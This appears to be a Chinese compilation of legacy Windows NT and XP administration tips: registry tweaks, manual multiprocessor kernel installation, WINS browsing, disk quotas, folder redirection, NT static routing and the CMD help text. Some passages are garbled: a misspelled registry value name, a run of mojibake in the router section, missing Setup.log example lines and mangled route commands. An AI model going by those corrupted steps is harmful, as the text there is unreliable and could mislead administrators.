启动注册表编辑器，找到下述子键： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\PPP\IPCP
添加值
Value NameriorityBasedOnSbuNetwork
Data Type: REG_DWORD
String: 1(Enable)
推出注册表编辑器
在命令行方式运行以下命令：
net stop remoteaccess
net start remoteaccess
用于重新启动远程连接服务使修改生效。

如何手工安装第二个处理器？
步骤：

建立应急维修盘或升级已有的应急维修盘
新安装一份NT，注意装到不同目录或分区以便不影响原有系统(新安装一份系统的目的是用于复制关键文件。因为无法覆盖当前系统的核心文件。)
启动到新安装的NT
将以下几个文件改名保存：
原来系统目录下的
NTOSKRNL.EXE
HAL.DLL
KERNEL32.DLL
NTDLL.DLL
WINSRV.DLL

如果是NT 4.0还要保存
WIN32K.SYS

系统目录指 %systemroot%\system32\ 目录，通常是 winnt\system32\ 目录。
改名保存的目的是今后可以恢复到单处理器的系统
根据所使用的机器选择硬件层文件：
Halast.dll = "AST Manhattan SMP"
Halsp.dll = "Compaq SystemPro Multiprocessor or 100% Compatible"
Halcbus.dll = "Corollary C-bus Architecture"
Halmca.dll = "IBM PS/2 or other Micro Channel-based PC"
halmpsm.dll = "Micro Channel Multi Processor PC"
Halapic.dll = "MPS Uniprocessor PC"
Halmps.dll = "MPS Multiprocessor PC"
Halncr.dll = "NCR System 3000 Model 3360/3450/3550"
Haloli.dll = "Olivetti LSX5030/40"
Hal.dll = "Standard PC" (single processor HAL)
Hal486c.dll = "Standard PC with C-Step i486"
Halwyse7.dll = "Wyse Series 7000i Model 740MP/760MP"
用合适的文件替换原系统目录下的 HAL.DLL 文件，如果不能确定使用哪个文件，请询问硬件厂商
复制 CDROM 上的以下文件到原系统目录：
NTKRNLMP.EXE 到系统目录的 NTOSKRNL.EXE
NTDLL.DLL 到系统目录下
解压以下文件到原系统目录：
KERNEL32.DLL
WINSRV.DLL

如果是NT 4.0 还要解压 WIN32K.SYS
请使用NT下的 expand.exe 工具来解压
重新启动原系统，注意启动时出现“Multiprocessor kernel”，表示第二个处理器安装成功
附注：

如果安装过 Service Packs，请从 Service Packs 的 CDROM 上复制或解压上述文件，否则请依据附注 C 修改 Setup.log 文件后重新安装 Service Packs。
如果安装过 Proxy 2.0，还需要替换驱动程序目录下的 IPFLTDRV.SYS 为多处理器版：
CDROM 中 \msproxy\i386\routing\up\ipfltdrv.sys 36KB 为单处理器版本，
\msproxy\i386\routing\ipfltdrv.sys 34KB 为多处理器版本。
请将合适的文件复制到 %systemroot%\system32\drivers\ 下。
手工安装后，再安装 Service Packs，启动后将报告为单处理器，这是因为 Service Packs 从 Setup.log 中读取信息安装相应文件。为了今后安装或升级方便，需要修改 Setup.log 文件：
去除 %systemroot%\repair\Setup.log 的只读和隐含属性.
用记事本打开此文件，查找并修改 [Files.WinNt] 段中的以下行（以 NT 4.0为例）：

并注意根据自己机器的配置，更改为不同的硬件层文件（文件列表在步骤 5 中有述），如：

在 NT 资源包中可以找到 UPTOMP.EXE 工具，可以自动将系统升级为多处理器系统，但这已不属于本文讨论（手工升级）的范围。
如何通过WINS浏览广域网?
Windows NT 3.1 的浏览(WINS的前身)
在Windows　NT 3.1中,浏览信息几乎全部是通过网络广播传送的。在广域网上典型的域的划分是通过路由实现的。为了减少带宽的占用，通常广播包是被过滤掉，无法通过路由，被限制在本子网内。

这样的结果是,NT 3.1默认使用的B结点名字解析无法解析其他子网内的名字。每个子网形成了一个浏览无关的区域,其中有自己的主浏览器和后备浏览器。浏览器的选举也是基于单个子网的。

Windows NT Advanced Server 3.1 支持跨子网浏览。为了浏览广域网的资源，每个子网至少要有一台Windows NT Advanced Server.域主浏览器 保存了一份域中和其他可访问的域中可用服务浏览列表。
当一个域包含多个子网时,每个子网的主浏览器通过直接发送数据包"MasterBrowserAnnouncement"向域主浏览器宣布自己的存在。域主浏览器向这个子网的主浏览器发送"NetServerEnum"请求，宣布自己的存在并搜集这个子网的服务列表。域主浏览器把从这个子网得到的服务列表合并到自己的服务列表中。这个过程每15分钟重复一次，以确保域主浏览器存有域中服务的完整的列表。

于是,当一个客户向主浏览器发送一个"NetServerEnum"请求时,主浏览器能够返回域中所有的服务，而不管这些服务在哪个子网中。

注意:一个工作组不能分布于多个子网段.当一个工作组分布于两个以上网段中时,将成为独立的多个工作组。

为确保每个子网的主浏览器能够访问每个域的域主控制器，主浏览器必须含有LMHOSTS文件,其中通过#DOM扩展语句包含所有域的PDC和BDC的名称。要保证每个PDC可以通过每个子网的主浏览器访问那个子网的浏览列表，TCP/IP(或其他广域网协议)必须首先缓存那个子网的主浏览器的客户地址。

Windows NT Server 3.5 及之后的版本通过WINS浏览
Windows NT Server 3.5 及之后的版本包含WINS服务.WINS是用于关联NetBIOS名称和IP地址的服务。
域主浏览器向WINS服务器注册一个统一的浏览名称" [1b]".其他域主浏览器将定期查询WINS服务器以得到域列表,它们就可以将这个列表合并到它们的本地浏览列表中,受到查询时再发送这个列表给每个子网的主浏览器。

域主浏览器分两步查询WINS服务器:

浏览器查找所有以[1B]结尾的域名.
然后浏览器对所有名称进行反向查询以便获取那个域的域主浏览器的统一名称.
接下来的请求中，域主浏览器用以上方式继续搜集服务列表和域名称。

注意:只有支持WINS的域主浏览器(Windows NT 3.5 及之后的版本)能够向WINS服务器注册 [1b]名称.Windows NT 3.1的域主浏览器不会使用WINS.

Windows NT Workstation 3.5 及之后的版本支持WINS
Windows NT Workstation 3.5 及之后的版本发送"NetServerEnum"请求给所在域的后备浏览器.得到的是包括由WINS提供的域主浏览器的域列表。当工作站浏览远程域时,它向WINS服务器查询注册为 [1b]名称的计算机的IP地址。然后工作站向这个IP地址发送"GetBackupListReq"请求并且从回应信息中选择一个计算机名,再向这个计算机名发送"NetServerEnum"请求以获取那个域中的计算机的列表。

Windows NT 3.1客户不支持WINS
当Windows NT 3.1客户浏览远程域时,它发送"GetBackupListReq"信息给 [1d],而不是 [1b].由于这个子网中没有域主浏览器,客户机将放弃,转而向本地的域主浏览器提出请求。浏览器将代替客户机提交NetServerEnum API.结果则依赖于浏览器服务器是否支持WINS.

Windows for Workgroups 3.11客户使用TCP/IP-32 支持WINS
Windows for Workgroups 3.11客户可以通过TCP/IP-32 for Windows for Workgroups支持WINS.WINS可以在单独的工作站连接上工作。然而，它们所使用的浏览器代码不支持WINS和广域网.当Windows for Workgroups客户在一个有Windows NT 3.5或之后的版本的浏览服务器的本地域时,客户可以看到所有远程域的列表。但是当客户选择了其中一个名称时,将不能解析这个名字，因为客户无法识别[1b]名称。

管理员怎样取消计算机账号的自动改变?
作为NT安全性的一部分， 计算机的账号每七个星期将改变一次。

在下述情况下你需要取消计算机的账号的自动变更：

你希望减少网络复制的发生频率。 作为计算机的账号自动变更的一个负面影响， 一个有着大量计算机和域控制器的域将产生大量的复制工作。取消计算机账号的自动改变将减少网络复制流量。
你在同一台双重及启动的计算机上装有两个不同的NT操作系统。 在这种情况下， 如你想在两个不同的NT间共享机器的账号， 唯一的办法是在加入域之前取消计算机账号的自动改变。
你需要经常重装NT， 又不希望经常让域管理员为你创建计算机账号
注意：取消计算机账号的自动改变， 意味着你将放弃一些NT提供的安全性

操作步骤：

取消计算机账号的自动改变，你可以将注册标中的
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\
Parameters下的DisablePasswordChange字段的值改为1

或是将域控制器的注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\
Parameters下的RefusePasswordChange字段值改为1， 这样便无需对工作站的注册表进行改变

注意：该域控制器的顺序应该是先改所有的BDC, 最后改PDC

如何使用磁盘限额?
磁盘限额跟踪并且管理磁盘空间的使用情况。 管理员能够做到：

当用户超过一定的磁盘使用限额时，能够阻止磁盘的空间进一步的被该用户使用， 并且在日之中纪录该情况
当用户的磁盘使用量超过一定的限额后， 会在日志文件中发出警告
当你使用磁盘限额时， 你可以设定两个值：

允许使用的磁盘限额
需要发出警告时的磁盘限额
设置缺省的限额值：

打开我的电脑
双击要分配限额的卷的卷标， 并选择"属性"
在属性对话框中， 选择 "限额" 页
选择 "允许使用限额管理" 按钮
选择 "限制磁盘空间至"按钮， 这将激活"限制额" 和 "警告额" 字段
在文本框中输入想要的限额及单位
增加新的限额项：

打开我的电脑
双击要分配限额的卷的卷标， 并选择"属性"
在属性对话框中， 选择 "限额" 页
单击"限额项" 按钮
进入 "限额项" 窗口后， 选择"新限额项" 菜单条
选择需要进行限额的用户， 设定他/她的限额量
注意： 如果你使用的不是NTFS5.0 版 或是你没有管理员权限， 在你的 "卷属性" 对话框中将不出现 "限额" 页

怎样重定向"我的文档"？
重定向"我的文档"的好处：

用户在网上无论使用哪一台计算机， 他/她的"我的文档" 文件夹始终可见且相同
即使他/她暂时不与网络相连， 他/她仍可以使用"我的文档"文件夹， 这对笔记本电脑的用户格外重要
当该用户使用roaming user profiles时， 只有"我的文档"的路径被记录在profile中，而不是"文档" 本身。 这避免了"文档"中的内容在网上来回传输， 缩短了用户的登录时间
统一放置在服务器上的文档可进行统一的备份， 增加了安全性
用重定向的方式管理员可以利用"用户空间限额" 控制每个用户的"我的文档" 的大小
文件夹的内容可被重定向到本地机另一非系统盘上， 这样当系统需要重装时无需备份个人数据
怎样重定向"我的文档"

打开 Group Policy 控制台
依次打开User Configuration -> Windows Settings -> Folder Redirection
输入重定向的网络路径， 例如：\\server\share\%username%\My Documents
这样当用户登录到任何一台连接到网络的计算机时， 系统策略便会自动地将该用户的"我的文档" 重定向到网络服务器。 之后， 用户存取 "我的文档" 中的文件都将对该网络服务器上的文件夹进行， 而这一切对用户都是透明的。

如用户想在离线的情况下仍可使用"我的文档"， 可事先将"我的文档" 用"offline files" 在本地生成网络文件夹的副本。

在线时， 用户的存储操作将现在网络服务器上进行，之后在同步到本地副本上。当用户在离线的情况下执行存储操作时， 数据将先被存储在本地的副本上。一旦恢复网络通信， 更新的内容将立即被复制到网络文件夹上，继续保持同步。


Windows NT服务器用作路由器

    网络技术发展到今天，已不再局限在一个小的LAN中了。在日常组网中，碰到最多的就是将现有的网络互联起来，实现最大限度的资源共享、信息互通。将不同的网络互联，第一个碰到的问题就是采用什么样的协议。TCP／IP发展到目前为止，已成为一个最为广泛使用的网络通用协议。被广大计算机使用者所认可。采用TCP／IP，可以方便地进行不同网络种类、不同操作系统的网络间的互联，同时又可以方便地联入Internet。

    在TCP／IP网络互联中，不同网络的互联往往要使用到路由器。传统的基于硬件的路由器价格往往较高，不为一般的单位所接受，而且在联网过程中，常碰到的问题都是将两个或两个以的的局域网互联，也用不着使用昂贵的专用路由器。实际上，有好多网络操作系统本身就提供路由功能，只不过是基于软件的路由而已，如Windows NT的静态路由系统、NOVELL的多协议路由MPR等基于软件的路由技术。

    基于软件的路由，功能上肯定不如基于硬件的专用路由器。但它已具备了路由器的基本功能。可以实现基本的路由功能。采用基于软件的路由，对于小型网络间的互联是比较理想的。下面以网络间的互联为例来说明基于软件的路由技术。

    众所周知，在TCP／IP协议中，IP协议（Internet Protocol）提供编址和路由功能。在网络上发送数据时，数据首先被打包，成为一个个IP数据包。IP允许数据包在网络上从一个地方传到另一个地方。数据在网络中的传输就是通过一种方式进行的。在一个以太网内，把报文从一台机器发送到另一台机器很容易，因为以太网是一个基于广播方式的网络，任何一台机器上发出的报文立即就会被网上的所有机器监听到，只有同报文中地址相同的那台机器才会发出响应，别的机器将忽略此信息。由此可见，在同一网络内部，每一个报文都无须选择路径，就可以直接达到它的目的地。但是，在两个或两个以上的网络互联时，情况就大不一样了。如图1所示，处在网络Counter中的某一台机器要向处在网络Computer Center中的一台机器发送信息时，如果没有从网络Counter到网络Computer Center的路由，则信息是根本无法发到的。

    从上述分析可以知道：既然在同一个网络内信息可以畅通传送，那么如果有这样一台机器就好了：一台既属于网络Counter又属于网络Computer Center的机器。通过它，两个不同的网络就可以相互传递信息了。实际上，在Windows NT中，IP路由是IP具有的功能。NT允许将一台机器 瞥啥嗨拗骰Ｒ布丛谕惶扑慊希卑沧傲娇榛蚨嗫橥ǎ恳豢橥右桓鐾纭Ｓ烧庖惶ɑ髯魑酚善鳎诹礁鐾缰浣蠭P包的路由。此路由为静态路由，静态路由器要求手工构造和更新路由表。

    在各网络已建成的情况下，建立NT路由器，其建立过程如下：
    1、在同一台Windows NT机器中安装两块网卡，网卡可以采用任何NT所支持的网卡。Windows NT可以是Windows NT Server也可以是Windows NT Workstation，版本最好是3．51或更高的版本。本文基于Win？dowsNTServer4．0中文版。
    2、进入控制面板，安装TCP／IP协议
    3、配置网卡：为每一块网卡配置一个IP地址，两个IP地址分别属于不同的网络内的IP地址。
    4、设置Windows NT的IP路由功能为Enable。
    5、确定后重新启动计算机。
    这样，NT路由器就可以在两网络间进行工作了。

    NT路由器工作过程如下：
    处在Counter网络中的某一台计算机Counter01，要给处在Computer Center网络中的某一台计算机CC01发送信息。它通过广播方式查询CC01是否同自己在同一个网络内，如果在同一网内，则信息包由Counter1传至CC01，IP包在同一网络中传送。如果通过查询，发现CC01不在同一网络内，发出点Counter1发现自己根本不知道如何到达CC01，在这种情况下，信息包被送至缺省网关：ROUTER1（在组网时，必须事先将网络Counter中的每一台机器的缺省路由器设为ROUTER1，IP地址为ROUTER1的IP地址。对于网络内的每一台机器而言，缺省路由器实际上就是这样的一个机器，如果发出信息点找不到目的地址时，它就将信息发给缺省路由器，之后由路由器为它代理发送），ROUTER1接到信息后，由在它上运行的IP软件对信息进行检查，通过检查包内容，可以确定IP包中的源地址和目标地址，如果发现IP包中的源IP地址同第一块网卡的IP地址处在同一网络内，目标IP地址同第二块网卡在同一网络内，它就将信息通过它的第二块网卡发送出去，这样信息便传至网络Computer Center中。信息包一旦进入网络Computer Center，处在该网络中的目的计算机监听到信息包是送给自己的，于是它便接收信息包，将它们重组。

    以上是NT路由器在两个网络内工作的情况，它的确可以很好地胜任它的任务，但是如果有三个或三个以上的网络，上面所提到的方法就不能胜任了。

    请看以下的网络结构：
    ROUTER1路由器只能把消息192．168．101传到网络168．168，但不能将信息从网络192．168．101传至网络Admin（195．125．96）。不过不要紧，NT中的Route命令可以告诉路由器如何到达AdminCenter，对ROUTER1及ROUTER2来说，它们都同时属于Computer Center这一网络，因此要使路由器能够通过ComputerCenter网络（193．169．101）发到AdminCenter网络（195．125．96），只要告诉ROUNTER1网络Computer Center中ROUTER2的网卡地址即可。

    命令格式如下：
    C：ιWinntΛrouteadd195．125．96168．168．100．100
    这一命令将向ROUTER1的路由表中添加路由信息，其意为：把任何目的为195．125．96．xxx的IP包发到168．168．100．100上。
    同样，对于网络AdminCenter，路由器ROUTER2也不知道如何到达Counter网络（192．168．101），也要告诉它如何到达。

命令格式如下：
    C：ιWinntΛrouteadd192．168．101168．168．100．101
  功能同上。
    实际上，我们可以通过建立静态路由表来实现以上功能，在ROUTER1、ROUTER2上建立静态路由表，静态路由表要求有一个目标和一个网关，目标是目标网络的网络ID或网络名，网关是与目标网络相连的IP地址或宿主机名字。其内容如下：
    对于ROUTER1，要用网络Admin的网络ID及其缺省网关的IP地址来构造路由表。网关是与目标网络相连的计算机的IP地址或宿主机名。其静态路由表如下：
    目标网络网关
    195．125．96168．168．100．100
    AdminROUTER2
    对于ROUTER2，要用网络Counter的网络ID及其缺省网关的IP地址来构造路由表。网关是与目标网络相连的计算机的IP地址或宿主机名。
    其静态路由表如下：
    目标网络网关
    192．168．101168．168．100．101
    CounterROUTER1
相应的NETWORKS文件内容如下：
＃WindowsNT4．0NetworksContent
    Counter192．168．101
    Admin195．125．96
    Loopback127
    ……………
    ComputerCenter168．168
    对应的HOSTS文件内容如下：
    192．168．101．1COUNTER1counter1．saturn．com
    168．168．100．1CC01cc01．saturn．com
    …………
    ＃……
    至此，三个网络间就可以通过路由进行信息传递了。
对于图2，有人说还可以在Counter同AdminCenter之间再配置一个路由器。的确如此，如果在Counter同Admin之间再配置一个路由器ROUTER3，则对每一网络中的机器来说，各台计算机之间进行通过的路径就多了一条，使得在一条路径因拥挤或意外故障不畅通时，它们之间仍然可以照常通讯。这就要求网络中的每一台计算机配置成使用多个网关的情形。

对路由器的技术可参见<网络路由技术基础 >


Windows XP中的命令行界面

from : http://www.yesky.com/ http://www.yesky.com/20020228/218877.shtml

    CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
        [[/S] [/C | /K] string]
    其中：CMD是不可缺少的！
    /C　　　执行字符串指定的命令然后终断
    /K　　　执行字符串指定的命令但保留
    /S　　　在 /C 或 /K 后修改字符串处理(见下)
    /Q　　　关闭回应
    /D　　　从注册表中停用执行 AutoRun 命令(见下)
    /A　　　使向内部管道或文件命令的输出成为 ANSI
    /U　　　使向内部管道或文件命令的输出成为 Unicode
    /T:fg 　设置前景/背景颜色(详细信息，请见 COLOR /?)
    /E:ON 　启用命令扩展(见下)
    /E:OFF　停用命令扩展(见下)
    /F:ON 　启用文件和目录名称完成字符 (见下)
    /F:OFF　停用文件和目录名称完成字符(见下)
    /V:ON 　将 ! 作为定界符启动延缓环境变量扩展。如: /V:ON 会允许 !var! 在执行时允许 !var! 扩展变量 var。var 语法在输入时扩展变量，这与在一个 FOR 循环内不同。
    /V:OFF 停用延缓的环境扩展。
    请注意，如果字符串有引号，可以接受用命令分隔符 '&&' 隔开的多个命令。并且，由于兼容原因，/X 与 /E:ON 相同，/Y 与/E:OFF 相同，并且 /R 与 /C 相同。忽略任何其他命令行开关。如果指定了 /C 或 /K，命令行开关后的命令行其余部分将作为命令行处理；在这种情况下，会使用下列逻辑处理引号字符("):

    1.如果符合下列所有条件，那么在命令行上的引号字符将被
        保留:
        - 不带 /S 命令行开关
        - 整整两个引号字符
        - 在两个引号字符之间没有特殊字符，特殊字符为下列中的
          一个: <>()@^|
        - 在两个引号字符之间有至少一个空白字符
        - 在两个引号字符之间有至少一个可执行文件的名称。

    2.否则，看第一个字符是否是一个引号字符，如果是，舍去开头的字符并删除命令行上 的最后一个引号字符，保留最后一个引号字符之后的文字。

    如果 /D 未在命令行上被指定，当 CMD.EXE 开始时，它会寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在，这两个变量会先被执行。

    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

        和/或

    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun命令扩展是按默认值启用的。您也可以使用 /E:OFF，为某一特定调用而停用扩展。您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的扩展，这要通过设置使用REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions

        和/或

    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions

    到 0x1 或 0x0。用户特定设置比机器设置有优先权。命令行开关比注册表设置有优先权。以上是对于基本命令的介绍，下面包含的是命令行扩展部分。延迟变量环境扩展不按默认值启用。您可以用/V:ON 或 /V:OFF
命令行开关，为 CMD.EXE 的某个调用而启用或停用延迟环境变量扩充。

    您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的完成，这要通过设置使用 REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedEXPansion

        和/或

    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedEXPansion

    到 0x1 或 0x0。用户特定设置比机器设置有优先权。命令行开关比注册表设置有优先权。
    如果延迟环境变量扩充被启用，惊叹号字符可在执行时间，被用来代替一个环境变量的数值。文件和目录名完成不按默认值启用。您可以用 /F:ON 或 /F:OFF命令行开关，为 CMD.EXE 的某个调用而启用或停用文件名完成。 您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的完成，这要通过设置使用 REGEDT32.EXE 的注册表中的一个或两个REG_DWORD 值:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar
    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar

        和/或

    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar

    由一个控制字符的十六进制值作为一个特定参数(例如，0x4 是Ctrl-D，0x6 是 Ctrl-F)。 用户特定设置优先于机器设置。命令行开关优先于注册表设置。

    如果完成是用 /F:ON 命令行开关启用的，两个要使用的控制符是: 目录名字完成用 Ctrl-D， 文件名完成用 Ctrl-F。 要停用注册表中的某个字符，请用空格(0x20)的数值，因为此字符不是控制字符。

    如果键入两个控制字符中的一个，完成会被调用。完成功能将路径字符串带到光标的左边，如果没有通配符，将通配符附加到左边，并建立相符的路径列表。然后，显示第一个相符的路径。如果没有相符的路径，则发出嘟嘟声，不影响显示。之后，重复按同一个控制字符会循环显示相符路径的列表。将 Shift 键跟控制字符同时按下，会倒着显示列表。如果对该行进行了任何编辑，并再次按下控制字符，保存的相符路径的列表会被丢弃，新的会被生成。如果在文件和目录名完成之间切换，会发生同样现象。两个控制字符之间的唯一区别是文件完成字符符合文件和目录名，而目录完成字符只符合目录名。如果文件完成被用于内置式目录命令(CD、MD 或 RD)，就会使用目录完成。

    将引号将相符路径括起来，完成代码可以正确处理含有空格或其他特殊字符的文件名。同时，如果备份，然后从行内调用文件完成，完成被调用是位于光标右方的文字会被丢弃。

    需要引号的特殊字符是:

    &()[;{}^=]!'+,`~
    下面是命令行扩展的详细应用方法介绍：熟悉dos的朋友会发现许多内容和dos相同。
    1、DEL 或 ERASE
    删除一个或数个文件。

    DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names
    ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names

    names　　　 指定一个或数个文件或目录列表。通配符可被用来
                删除多个文件。如果指定了一个目录，目录中的所
                有文件都会被删除。

    /P　　　　　删除每一个文件之前提示确认。
    /F　　　　　强制删除只读文件。
    /S　　　　　从所有子目录删除指定文件。
    /Q　　　　　安静模式。删除全局通配符时，不要求确认。
    /A　　　　　根据属性选择要删除的文件。
    attributes　R　只读文件　　　　　　　　　　S 系统文件
                H　隐藏文件　　　　　　　　　　A 存档文件
                -　表示“否”的前缀

    如果命令扩展名被启用，DEL 和 ERASE 会如下改变:

    /S 开关的显示句法会颠倒，即只显示已经删除的文件，而不显示找不到的文件。

    2、COLOR
    设置默认的控制台前景和背景颜色。
    COLOR [attr]
    attr　　指定控制台输出的颜色属性
颜色属性由两个十六进制数字指定 -- 第一个为背景，第二个则为
前景。每个数字可以为以下任何值之一:
    0 = 黑色　　　8 = 灰色
    1 = 蓝色　　　9 = 淡蓝色
    2 = 绿色　　　A = 淡绿色
    3 = 湖蓝色　　B = 淡浅绿色
    4 = 红色　　　C = 淡红色
    5 = 紫色　　　D = 淡紫色
    6 = 黄色　　　E = 淡黄色
    7 = 白色　　　F = 亮白色
    如果没有给定任何参数，该命令会将颜色还原到 CMD.EXE 启动时的颜色。这个值来自当前控制台窗口、/T 开关或DefaultColor 注册表值。
    如果用相同的前景和背景颜色来执行 COLOR 命令，COLOR 命令会将 ERRORLEVEL 设置为 1。
    例如: "COLOR fc" 在亮白色上产生亮红色

    3、CD 或 CHDIR
    显示当前目录名或改变当前目录。
    CHDIR [/D] [drive:][path]
    CHDIR [..]
    CD [/D] [drive:][path]
    CD [..]
    ..　　指定要改成父目录。
    键入 CD 驱动器: 显示指定驱动器中的当前目录。
    不带参数只键入 CD，则显示当前驱动器和目录。
    使用 /D 命令行开关，除了改变驱动器的当前目录之外，
    还可改变当前驱动器。
    如果扩展命令名被启用，CHDIR 会如下改变:
    当前的目录字符串会被转换成使用磁盘名上的大小写。所以，如果磁盘上的大小写如此，CD C : \TEMP 会将当前目录设为C:\Temp。
    CHDIR 命令不把空格当作分隔符，因此有可能将目录名改为一个带有空格但不带有引号的子目录名。例如:
        cd \Winnt\profiles\username\programs\start menu
    与下列相同:
        cd "\Winnt\profiles\username\programs\start menu"
    在扩展功能停用的情况下，您必须键入以上命令。

    4、MD 或 MKDIR
    创建目录。
    MKDIR [drive:]path
    MD [drive:]path
    如果命令扩展名被启用，MKDIR 会如下改变:
    如果需要，MKDIR 会在路径中创建中级目录。例如: 假设 \a 不存在，那么:
    mkdir \a\b\c\d
    与:
    mkdir \a
    chdir \a
    mkdir b
    chdir b
    mkdir c
    chdir c
    mkdir d
    相同。如果扩展名被停用，则需要键入 mkdir \a\b\c\d。

    5、PROMPT
    更改 cmd.exe 命令提示符。
    PROMPT [text]
    text　　指定新的命令提示符。
    提示符可以由普通字符及下列特定代码组成:
    $A　　& (短 and 符号)
    $B　　| (管道)
    $C　　( (左括弧)
    $D　　当前日期
    $E　　Escape code (ASCII 码 27)
    $F　　) (右括弧)
    $G　　> (大于符号)
    $H　　Backspace (擦除前一个字符)
    $L　　< (小于符号)
    $N　　当前驱动器
    $P　　当前驱动器及路径
    $Q　　= (等号)
    $S　　(空格)
    $T　　当前时间
    $V　　Windows XP 版本号
    $_　　换行
    $$　　$ (货币符号)

    如果命令扩展名被启用，PROMPT 命令会支持下列格式化字符:
    $+　　根据 PUSHD 目录堆栈的深度，零个或零个以上加号(+)字符；每个被推的层有一个字符。
    $M　　如果当前驱动器不是网络驱动器，显示跟当前驱动器号或空字符串有关联的远程名。

    6、PUSHD
    保存当前目录以供 POPD 命令使用，然后改到指定的目录。
    PUSHD [path | ..]
    path　　指定要成为当前目录的目录。
    如果命令扩展名被启用，除了一般驱动器号和路径，PUSHD命令还接受网络路径。如果指定了网络路径，PUSHD 将创建一个指向指定网络资源的临时驱动器号，然后再用刚定义的驱动器号改变当前的驱动器和目录。可以从 Z: 往下分配临时驱动器号，使用找到的第一个没有用过的驱动器号。

    7、POPD
    命令选项到保存在 PUSHD 命令里的目录。
    POPD
    如果命令扩展名被启用，从推目录堆栈 POPD 驱动器时，POPD命令会删除 PUSHD 创建的临时驱动器号。

    8、SET
    显示、设置或删除 cmd.exe 环境变量。
    SET [variable=[string]]
    variable 指定环境变量名。
    string　　指定要指派给变量的一系列字符串。
    要显示当前环境变量，键入不带参数的 SET。
    如果命令扩展名被启用，SET 会如下改变:
    可仅用一个变量激活 SET 命令，等号或值不显示所有前缀匹配SET命令已使用的名称的所有变量的值。例如:
    SET P
    会显示所有以字母 P 打头的变量如果在当前环境中找不到该变量名称，SET 命令将把 ERRORLEVEL
设置成 1。
    SET 命令不允许变量名含有等号。
    在 SET 命令中添加了两个新命令行开关:
    SET /A eXPression
    SET /P variable=[promptString]
    /A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式评估器很简单并以递减的优先权顺序支持下列操作:
    ()　　　　　　　　　- 分组
    ! ~ -　　　　　　　 - 一元运算符
    * / %　　　　　　　 - 算数运算符
    + -　　　　　　　　 - 算数运算符
    << >>　　　　　　　 - 逻辑移位
                        - 按位“与”
    ^　　　　　　　　　 - 按位“异”
    |　　　　　　　　　 - 按位“或”
    = *= /= %= += -= - 赋值
    &= ^= |= <<= >>=
                        - 表达式分隔符

    如果您使用任何逻辑或取余操作符， 您需要将表达式字符串用引号扩起来。在表达式中的任何非数字字符串键作为环境变量名称，这些环境变量名称的值已在使用前转换成数字。如果指定了一个环境变量名称，但未在当前环境中定义，那么值将被定为零。这使您可以使用环境变量值做计算而不用键入那些 % 符号来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的，那么它显示该表达式的最后值。该分配的操作符在分配的操作符左边需要一个环境变量名称。除十六进制有 0x 前缀，八进制有 0 前缀的，数字值为十进位数字。因此， 0x12 与 18 和 022相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字，因为 8 和 9 不是有效的八进制位数。
    /P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入行之前，显示指定的 promptString。promptString 可以是空的。
    环境变量替换已如下增强:
    %PATH:str1=str2%
    会扩展 PATH 环境变量，用 "str2" 代替扩展结果中的每个 "str1"。
    要有效地从扩展结果中删除所有的 "str1"，"str2" 可以是空的。
    "str1" 可以以星号打头；在这种情况下，"str1" 会从扩展结果的开始到 str1 剩余部分第一次出现的地方，都一直保持相配。
    也可以为扩展名指定子字符串。
    %PATH:~10,5%
    会扩展 PATH 环境变量，然后只使用在扩展结果中从第 11 个(偏移量 10)字符开始的五个字符。如果没有指定长度，则采用默认值，即变量数值的余数。如果两个数字(偏移量和长度)都是负数，使用的数字则是环境变量数值长度加上指定的偏移量或长度。
    %PATH:~-10%
    会提取 PATH 变量的最后十个字符。
    %PATH:~0,-2%
    会提取 PATH 变量的所有字符，除了最后两个。
    终于添加了延迟环境变量扩充的支持。该支持总是按默认值被停用，但也可以通过 CMD.EXE 的 /V 命令行开关而被启用/停用。
    考虑到读取一行文本时所遇到的目前扩充的限制时，延迟环境变量扩充是很有用的，而不是执行的时候。以下例子说明直接变量扩充的问题:
    set VAR=before
    if "%VAR%" == "before" (
        set VAR=after
        if "%VAR%" == "after" @echo If you see this, it worked
    )

    不会显示消息，因为在读到第一个 IF 语句时，BOTH IF 语句中的 %VAR% 会被代替；原因是: 它包含 IF 的文体，IF 是一个复合语句。所以，复合语句中的 IF 实际上是在比较 "before" 和"after"，这两者永远不会相等。同样，以下这个例子也不会达到预期效果:
    set LIST=
    for %i in (*) do set LIST=%LIST% %i
    echo %LIST%
    原因是它不会在目前的目录中建立一个文件列表，而只是将LIST 变量设成找到的最后一个文件。这也是因为 %LIST% 在FOR 语句被读取时，只被扩充了一次；而且，那时的 LIST 变量是空的。因此，我们真正执行的 FOR 循环是:
    for %i in (*) do set LIST= %i
    这个循环继续将 LIST 设成找到的最后一个文件。
    延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行时间扩充环境变量。如果延迟的变量扩充被启用，可以将上面例子写成以下所示，以达到预期效果:
    set VAR=before
